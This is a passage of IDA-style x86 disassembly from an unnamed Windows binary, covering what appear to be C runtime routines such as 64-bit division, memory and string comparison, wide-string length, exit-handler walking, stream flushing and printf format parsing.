; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26902BBh cmp eax, 0FFFFFFFFh jnz short loc_419819 call near ptr 2650B3Dh nop push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_4CD9B4, 0Dh mov dword_4CD9B8, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_4CDA48, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4CDA58 call esi test eax, eax jnz loc_419AB2 nop call near ptr 2650B3Dh cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_433C70 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4CDA58 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_4CDA48, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4CDA58 nop call near ptr 2630000h cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_433C3C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4CD9FC, edi jnz short loc_419B24 push [esp+4+arg_0] call near ptr 2780CF5h nop push eax nop call near ptr 27D0A9Dh loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4CD9F8, edi mov byte_4CD9F4, bl jnz short loc_419B78 mov eax, dword_4CF03C test eax, eax jz short loc_419B67 mov ecx, dword_4CF038 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_4CF03C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_4CD9FC, edi nop call near ptr 77E75CB5h loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27C0D8Bh test eax, eax jnz short loc_419BD0 call near ptr 2650B3Dh nop jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- dd 81A6B95Fh, 42C0C632h, 0E10C3189h, 64D24675h, 0A1h, 89645000h dd 25h, 58EC8300h, 89575653h, 0E890E865h, 2417ECEh, 0D48AD233h dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h, 4CD9C8h dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah, 59000000h dd 0E8FC7589h, 5967h, 417E6FE8h, 2CA39002h, 0E8004CF0h dd 5825h, 4CDA00A3h, 55CEE800h, 10E80000h, 0E8000055h dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 416377E8h, 54A1E802h dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h dd 9C75FF50h, 97E85656h, 9002306Fh, 49F7E850h, 4589FFFFh dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h dd 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_4CDA08, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_433C60 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 4CDA083Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0BF93E890h db 0A5h, 77h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_4363A8 jz short loc_419D83 cmp esi, offset dword_4363C8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_4362F0 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_433C70 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_433C6C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_433C68 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_435FD0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_435FDC pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_435FD4 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_433C68 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 